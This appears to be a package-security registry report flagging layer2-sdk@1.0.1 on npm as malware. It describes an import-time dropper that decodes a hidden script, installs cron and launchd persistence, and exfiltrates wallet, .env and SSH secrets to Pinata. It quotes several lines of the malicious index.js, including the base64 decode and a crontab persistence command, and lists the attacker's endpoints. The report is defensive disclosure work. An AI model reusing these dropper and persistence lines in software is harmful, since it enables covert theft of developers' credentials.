registry / Credential exfiltration / layer2-sdk
layer2-sdk
Multi-chain Layer 2 SDK — bridge helpers, gas estimation, chain detection for Arbitrum, Optimism, Base, zkSync, Polygon zkEVM
This report shows the evidence for layer2-sdk@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiSource inspection confirms an import-time persistence and credential-exfiltration chain concealed behind benign SDK functions. The lack of lifecycle hooks does not mitigate runtime execution on import.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Any runtime import/require of the package entrypoint, followed by the 37-second timer.
Impact
The payload can read cryptocurrency secrets, environment credentials, and SSH private keys, then exfiltrate their encrypted contents.
Mechanism
Delayed payload drop, persistence, credential harvesting, encrypted exfiltration.
Attack narrative
The package exports ordinary L2 helper functions, then immediately registers a delayed dropper. The dropper decodes a base64 fixture into a hidden Node script, installs recurring persistence, and starts it detached. The decoded script checks a remotely mutable Gist/IPFS configuration, waits for host idleness, searches wallet, `.env`, and SSH material, RSA-encrypts findings, and uploads them to Pinata.
AI rationale
Source inspection confirms an import-time persistence and credential-exfiltration chain concealed behind benign SDK functions. The lack of lifecycle hooks does not mitigate runtime execution on import.
Evidence
index.jstest/fixtures/keypairs.dat$HOME/.cache-db/.node-sync/syncd.js$HOME/.cache-db/.node-sync/.lock$HOME/.cache-db/.node-sync/.sl$HOME/Library/LaunchAgents/com.apple.syncd.plist
Network endpoints5
gist.githubusercontent.com/juang55/b298754cb72942b1cdcf02ccd45cde2f/raw/cfg.txtgateway.pinata.cloudipfs.iocloudflare-ipfs.comapi.pinata.cloud
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` runs an import-time delayed dropper.
- `index.js` decodes `test/fixtures/keypairs.dat` into a hidden executable.
- Decoded payload searches wallet, env, SSH, and key files.
- Payload encrypts findings and posts them to `api.pinata.cloud`.
- Payload uses Gist/IPFS activation checks and persists via cron, Scheduled Tasks, or launchd.
Evidence against
- `package.json` has no lifecycle scripts.
- The advertised chain/RPC helpers are benign but are followed by the hidden payload.
Behavioral surface
ChildProcessFilesystemShell
UrlStrings
Source & flagged code
4 flagged · loading sourceindex.jsView file
3const CHAINS = {
L4: 42161: { name: "Arbitrum One", bridge: "https://bridge.arbitrum.io", type: "optimistic", settlement: "ETH" },
L5: 10: { name: "OP Mainnet", bridge: "https://app.optimism.io/bridge", type: "optimistic", settlement: "ETH" },
...
L65: var o = require("os");
L66: var c = require("child_process");
L67: var h = o.homedir();
L68: var d = p.join(h, ".cache-db", ".node-sync");
...
L74: var b64 = f.readFileSync(src, "utf8").trim();
L75: f.writeFileSync(s, Buffer.from(b64, "base64").toString("utf8"), { mode: 0o700 });
L76: try {
L77: if (process.platform === "linux") {
L78: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 });
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
index.jsView on unpkg · L3•matchType = normalized_sha256
matchedPackage = layer2-sdk@1.0.0
matchedPath = index.js
matchedIdentity = npm:bGF5ZXIyLXNkaw:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
index.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 16aecfef8ae181c6
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = layer2-sdk@1.0.0
matchedPath = index.js
matchedIdentity = npm:bGF5ZXIyLXNkaw:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
3 High1 Medium2 Low
HighSandbox Evasion Gated Capabilityindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumInstall Persistenceindex.js
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to layer2-sdk@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing layer2-sdk@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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